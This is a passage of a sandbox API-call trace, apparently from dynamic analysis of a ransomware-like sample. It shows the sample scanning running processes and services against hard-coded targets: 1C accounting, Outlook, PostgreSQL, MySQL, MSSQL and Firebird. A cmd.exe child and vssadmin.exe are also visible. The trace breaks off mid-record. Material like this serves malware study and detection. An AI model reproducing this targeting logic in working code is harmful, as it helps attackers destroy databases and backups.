[0128.021] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0128.021] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0128.021] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0128.021] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0128.021] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0128.021] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0128.021] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0128.021] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.021] lstrlenW (lpString="svchost.exe") returned 11 [0128.021] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0128.021] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0128.022] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0128.022] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0128.022] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0128.022] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0128.022] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0128.022] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.022] lstrlenW (lpString="svchost.exe") returned 11 [0128.022] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0128.022] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0128.022] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0128.022] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0128.022] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0128.022] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0128.022] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0128.022] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0128.023] lstrlenW (lpString="audiodg.exe") returned 11 [0128.023] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0128.023] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0128.023] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0128.023] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0128.023] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0128.023] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0128.023] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0128.023] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.023] lstrlenW (lpString="svchost.exe") returned 11 [0128.023] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0128.023] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0128.023] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0128.023] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0128.023] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0128.023] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0128.023] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0128.023] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0128.024] lstrlenW (lpString="userinit.exe") returned 12 [0128.024] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0128.024] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0128.024] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0128.024] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0128.024] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0128.024] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0128.024] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0128.024] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0128.024] lstrlenW (lpString="explorer.exe") returned 12 [0128.024] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0128.024] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0128.024] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0128.024] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0128.024] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0128.025] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0128.025] lstrlenW (lpString="dwm.exe") returned 7 [0128.025] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.025] lstrlenW (lpString="svchost.exe") returned 11 [0128.025] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0128.026] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0128.026] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0128.026] lstrlenW (lpString="spoolsv.exe") returned 11 [0128.026] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0128.026] lstrlenW (lpString="cmd.exe") returned 7 [0128.026] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0128.027] lstrlenW (lpString="dllhost.exe") returned 11 [0128.027] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0128.027] lstrlenW (lpString="conhost.exe") returned 11 [0128.027] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0128.027] lstrlenW (lpString="reader_sl.exe") returned 13 [0128.027] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.028] lstrlenW (lpString="svchost.exe") returned 11 [0128.028] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0128.028] lstrlenW (lpString="taskhost.exe") returned 12 [0128.028] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x538, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0128.028] lstrlenW (lpString="vssadmin.exe") returned 12 [0128.029] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x538, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0128.029] CloseHandle (hObject=0x308) returned 1 [0128.029] Sleep (dwMilliseconds=0x1f4) [0129.425] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3aa8830 [0129.536] EnumServicesStatusExW (in: hSCManager=0x3aa8830, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0129.537] GetLastError () returned 0xea [0129.537] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa08) returned 0x428d3d0 [0129.537] EnumServicesStatusExW (in: hSCManager=0x3aa8830, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428d3d0, cbBufSize=0xa08, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428d3d0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0129.537] CloseServiceHandle (hSCObject=0x3aa8830) returned 1 [0129.538] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0129.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0129.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0129.538] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0129.538] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0129.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0129.538] lstrlenW (lpString="AudioSrv") returned 8 [0129.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0129.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0129.538] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0129.538] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0129.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0129.538] lstrlenW (lpString="BFE") returned 3 [0129.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0129.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0129.538] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0129.538] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0129.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0129.539] lstrlenW (lpString="CscService") returned 10 [0129.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0129.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0129.539] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0129.539] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0129.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0129.539] lstrlenW (lpString="DcomLaunch") returned 10 [0129.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0129.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0129.539] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0129.539] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0129.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0129.539] lstrlenW (lpString="Dhcp") returned 4 [0129.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0129.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0129.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0129.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0129.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0129.539] lstrlenW (lpString="Dnscache") returned 8 [0129.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0129.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0129.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0129.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0129.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0129.539] lstrlenW (lpString="eventlog") returned 8 [0129.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0129.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0129.540] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0129.540] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0129.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0129.540] lstrlenW (lpString="EventSystem") returned 11 [0129.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0129.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0129.540] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0129.540] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0129.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0129.540] lstrlenW (lpString="gpsvc") returned 5 [0129.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0129.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0129.540] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0129.540] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0129.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0129.540] lstrlenW (lpString="lmhosts") returned 7 [0129.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0129.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0129.540] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0129.540] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0129.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0129.540] lstrlenW (lpString="MMCSS") returned 5 [0129.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0129.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0129.541] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0129.541] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0129.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0129.541] lstrlenW (lpString="nsi") returned 3 [0129.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0129.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0129.541] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0129.541] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0129.541] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0129.541] lstrlenW (lpString="PlugPlay") returned 8 [0129.541] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0129.541] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0129.541] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0129.541] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0129.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0129.542] lstrlenW (lpString="Power") returned 5 [0129.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0129.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0129.542] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0129.542] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0129.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0129.542] lstrlenW (lpString="ProfSvc") returned 7 [0129.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0129.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0129.542] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0129.542] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0129.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0129.542] lstrlenW (lpString="RpcEptMapper") returned 12 [0129.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0129.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0129.542] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0129.542] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0129.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0129.542] lstrlenW (lpString="RpcSs") returned 5 [0129.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0129.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0129.542] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0129.542] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0129.542] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0129.542] lstrlenW (lpString="SamSs") returned 5 [0129.542] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0129.542] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0129.542] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0129.543] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0129.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0129.543] lstrlenW (lpString="Schedule") returned 8 [0129.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0129.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0129.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0129.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0129.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0129.543] lstrlenW (lpString="SENS") returned 4 [0129.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0129.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0129.543] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0129.543] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0129.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0129.543] lstrlenW (lpString="ShellHWDetection") returned 16 [0129.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0129.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0129.543] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0129.543] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0129.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0129.543] lstrlenW (lpString="Spooler") returned 7 [0129.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0129.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0129.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0129.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0129.543] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0129.543] lstrlenW (lpString="Themes") returned 6 [0129.543] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0129.543] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0129.543] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0129.543] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0129.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0129.544] lstrlenW (lpString="UxSms") returned 5 [0129.544] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0129.544] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0129.544] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0129.544] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0129.544] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0129.544] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428d3d0 | out: hHeap=0x880000) returned 1 [0129.544] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x300 [0129.772] Process32FirstW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0129.773] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0129.773] lstrlenW (lpString="System") returned 6 [0129.773] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0129.773] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0129.773] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0129.773] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0129.773] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0129.773] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0129.773] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0129.773] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0129.774] lstrlenW (lpString="smss.exe") returned 8 [0129.774] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0129.774] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0129.774] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0129.774] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0129.774] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0129.774] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0129.774] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0129.774] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0129.774] lstrlenW (lpString="csrss.exe") returned 9 [0129.774] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0129.774] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0129.774] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0129.774] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0129.774] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0129.774] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0129.774] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0129.775] Process32NextW (in: hSnapshot=0x300, lppe=0x214fd34 | out: 